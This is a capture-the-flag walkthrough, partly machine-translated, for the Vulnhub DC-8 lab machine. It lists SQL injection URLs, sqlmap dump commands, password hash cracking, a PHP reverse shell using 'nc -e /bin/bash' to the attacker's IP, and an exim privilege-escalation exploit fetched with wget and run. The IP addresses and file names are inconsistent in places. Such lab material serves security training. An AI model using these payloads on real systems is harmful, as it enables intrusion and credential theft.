vulnhub-DC8 target drone experiment

Vulnhub target drone download:

Target drone download

Official website address: https://download.vulnhub.com/dc/DC-8.zip
After downloading the target machine file, you can import it and use it. The target machine has only one flag value .
DC6 target machine IP address : 192.168.18.128
kali attack machine IP address :192.168.18.102

① Confidence collection

#扫描存活主机
arp-scan  -l
#nmap扫描开放端口信息
nmap -A -p- 192.168.18.102

Open port 22, 80we perform website login
observation URL, there may beSQL注入

#查询到数据库名字： d7db 
http://192.168.18.102/?nid=-1 union select database() --+

#查询数据库版本：10.1.26-MariaDB-0+deb9u1
http://192.168.18.102/?nid=-1 union select version() --+

Manual injection reference link DC8 Manual injection of SQL at the shooting range

directory scan

dirsearch  --url http://192.168.18.102

User login address http://192.168.18.102/user/login
data explosion

sqlmap -u http://192.168.18.102/?nid=1 --dbs 
sqlmap -u http://192.168.18.102/?nid=1 -D  d7db
sqlmap -u http://192.168.18.102/?nid=1 -D  d7db -T  users --columns
sqlmap -u http://192.168.18.102/?nid=1 -D  d7db -T  users -C name,pass --dump
cat pass 
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

②Password blasting

john pass 

Username johnand password turtleto log in

③Rebound shell

Click- Content>Click- edit>Click- WEBFORMS>Click- Form settings>Click the drop-down box to selectPHP code

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<?php system("nc -e /bin/bash 192.168.18.128 1234"); ?>

kali攻击机进行监听1234端口  
nc -nlvp 1234
#浏览器中点击任意`Submit`按钮即可实现连接

④User privilege escalation

#连接shell
python -c 'import pty;pty.spawn("/bin/bash")'
find  / -perm  -u=s  -type f 2>/dev/null

Search for related vulnerabilities searchsploit exim

cp /usr/share/exploitdb/exploits/linux/local/46996.sh 666.sh
cat 666.sh
cp 666.sh  /var/www/html
vi  666.sh
#在最后一行插入set  ff=unix，进行保存

transmission

#kali机上
service apache2 start
#连接的dc8
cd /tmp
wget  http://192.168.18.128/66.sh

chmod 777 666.sh  #给权限
ls -l
./666.sh  -m netcat

⑤Get ​​flag

cd /root
cat flag.txt